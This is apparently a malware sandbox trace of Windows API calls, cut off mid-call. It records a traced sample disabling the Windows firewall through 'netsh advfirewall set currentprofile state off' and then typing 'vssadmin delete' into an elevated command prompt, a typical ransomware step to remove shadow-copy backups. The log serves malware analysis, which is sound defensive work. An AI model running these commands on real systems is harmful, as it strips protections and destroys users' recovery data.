[0041.715] GetProcessHeap () returned 0x2d0000 [0041.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e46f0 | out: hHeap=0x2d0000) returned 1 [0041.715] GetProcessHeap () returned 0x2d0000 [0041.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x12) returned 0x2e9e70 [0041.715] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop", lpStartupInfo=0x1ef490*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef440 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x1ef440*(hProcess=0x58, hThread=0x54, dwProcessId=0xf54, dwThreadId=0xf58)) returned 1 [0041.993] CloseHandle (hObject=0x54) returned 1 [0041.993] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0041.993] GetProcessHeap () returned 0x2d0000 [0041.993] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eae50 | out: hHeap=0x2d0000) returned 1 [0041.993] GetEnvironmentStringsW () returned 0x2eae50* [0041.993] GetProcessHeap () returned 0x2d0000 [0041.993] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb88) returned 0x2ec9e0 [0041.993] memcpy (in: _Dst=0x2ec9e0, _Src=0x2eae50, _Size=0xb88 | out: _Dst=0x2ec9e0) returned 0x2ec9e0 [0041.993] FreeEnvironmentStringsW (penv=0x2eae50) returned 1 [0041.993] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77280000 [0041.993] GetProcAddress (hModule=0x77280000, lpProcName="NtQueryInformationProcess") returned 0x772d14a0 [0041.993] NtQueryInformationProcess (in: ProcessHandle=0x58, ProcessInformationClass=0x0, ProcessInformation=0x1eed48, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1eed48, ReturnLength=0x0) returned 0x0 [0041.993] ReadProcessMemory (in: hProcess=0x58, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1eed80, nSize=0x380, lpNumberOfBytesRead=0x1eed40 | out: lpBuffer=0x1eed80*, lpNumberOfBytesRead=0x1eed40*=0x380) returned 1 [0041.994] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4394d000" os_pid = "0xf2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xec0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 471 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 472 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 473 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 474 start_va = 0x70000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 475 start_va = 0x4a480000 end_va = 0x4a4d8fff monitored = 1 entry_point = 0x4a4890b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 476 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 477 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 478 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 479 start_va = 0x7fff3000 end_va = 0x7fff3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff3000" filename = "" Region: id = 480 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 481 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 482 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 483 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 484 start_va = 0x170000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 485 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 486 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 487 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 488 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 489 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 508 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 509 start_va = 0x170000 end_va = 0x1d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 510 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 511 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 512 start_va = 0x7fefb2b0000 end_va = 0x7fefb2b7fff monitored = 0 entry_point = 0x7fefb2b11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 513 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 514 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 515 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 516 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 517 start_va = 0x1e0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 518 start_va = 0x420000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 519 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 520 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 521 start_va = 0x520000 end_va = 0x6a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 522 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 523 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 524 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 525 start_va = 0x6b0000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 526 start_va = 0x840000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 527 start_va = 0x50000 end_va = 0x6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 529 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 530 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 538 start_va = 0x240000 end_va = 0x307fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 539 start_va = 0x240000 end_va = 0x307fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 540 start_va = 0x200000 end_va = 0x200fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll.mui" filename = "\\Windows\\Branding\\Basebrd\\en-US\\basebrd.dll.mui" (normalized: "c:\\windows\\branding\\basebrd\\en-us\\basebrd.dll.mui") Region: id = 541 start_va = 0x1c40000 end_va = 0x1f0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 20 os_tid = 0xf30 [0041.566] GetProcAddress (hModule=0x77160000, lpProcName="SetConsoleInputExeNameW") returned 0x77170c80 [0041.566] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.566] GetFileType (hFile=0xa4) returned 0x3 [0041.567] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0041.567] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x16f420 | out: TokenHandle=0x16f420*=0x0) returned 0xc000007c [0041.567] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x16f420 | out: TokenHandle=0x16f420*=0x54) returned 0x0 [0041.567] NtQueryInformationToken (in: TokenHandle=0x54, TokenInformationClass=0x12, TokenInformation=0x16f430, TokenInformationLength=0x4, ReturnLength=0x16f438 | out: TokenInformation=0x16f430, ReturnLength=0x16f438) returned 0x0 [0041.567] NtQueryInformationToken (in: TokenHandle=0x54, TokenInformationClass=0x1a, TokenInformation=0x16f438, TokenInformationLength=0x4, ReturnLength=0x16f430 | out: TokenInformation=0x16f438, ReturnLength=0x16f430) returned 0x0 [0041.567] NtClose (Handle=0x54) returned 0x0 [0041.567] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x16f400, nSize=0x0, Arguments=0x16f408 | out: lpBuffer="鳐3") returned 0xf [0041.567] GetProcessHeap () returned 0x320000 [0041.567] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x218) returned 0x335da0 [0041.649] GetConsoleTitleW (in: lpConsoleTitle=0x16f450, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0041.650] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0041.651] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0041.652] GetProcessHeap () returned 0x320000 [0041.653] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335da0 | out: hHeap=0x320000) returned 1 [0041.653] LocalFree (hMem=0x339cd0) returned 0x0 [0041.653] GetProcessHeap () returned 0x320000 [0041.653] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x338c90 | out: hHeap=0x320000) returned 1 [0041.655] _vsnwprintf (in: _Buffer=0x4a4c6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f138 | out: _Buffer="\r\n") returned 2 [0041.655] _get_osfhandle (_FileHandle=1) returned 0xf0 [0041.655] GetFileType (hFile=0xf0) returned 0x3 [0041.655] _get_osfhandle (_FileHandle=1) returned 0xf0 [0041.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4bc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0041.655] WriteFile (in: hFile=0xf0, lpBuffer=0x4a4bc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f108, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesWritten=0x16f108*=0x2, lpOverlapped=0x0) returned 1 [0041.655] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4af360, nSize=0x2000 | out: lpBuffer="") returned 0x4 [0041.655] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4bc0a0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0041.655] _vsnwprintf (in: _Buffer=0x4a4aeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16f148 | out: _Buffer="C:\\Users\\kEecfMwgj\\Desktop") returned 26 [0041.655] _vsnwprintf (in: _Buffer=0x4a4aeb94, _BufferCount=0x3e4, _Format="%c", _ArgList=0x16f148 | out: _Buffer=">") returned 1 [0041.655] _get_osfhandle (_FileHandle=1) returned 0xf0 [0041.655] GetFileType (hFile=0xf0) returned 0x3 [0041.656] _get_osfhandle (_FileHandle=1) returned 0xf0 [0041.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a4bc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\kEecfMwgj\\Desktop>", lpUsedDefaultChar=0x0) returned 28 [0041.656] WriteFile (in: hFile=0xf0, lpBuffer=0x4a4bc320*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x16f138, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesWritten=0x16f138*=0x1b, lpOverlapped=0x0) returned 1 [0041.656] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.656] GetFileType (hFile=0xa4) returned 0x3 [0041.656] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.656] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.656] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be320, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0041.656] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.656] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.656] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be322, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0041.657] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.657] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.657] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0041.657] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.657] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.657] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be326, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0041.657] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.657] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.657] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be328, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0041.657] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.657] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.657] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be32a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0041.658] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.658] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.658] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be32c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0041.658] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.658] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.658] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0041.658] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.658] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.658] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.658] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.658] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.658] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be332, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0041.659] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.659] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.659] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be334, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.659] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.659] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.659] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be336, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.659] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.659] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.659] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.659] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.659] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.659] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be33a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.659] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.660] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.660] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be33c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.660] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.660] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.660] ReadFile (in: hFile=0xa4, 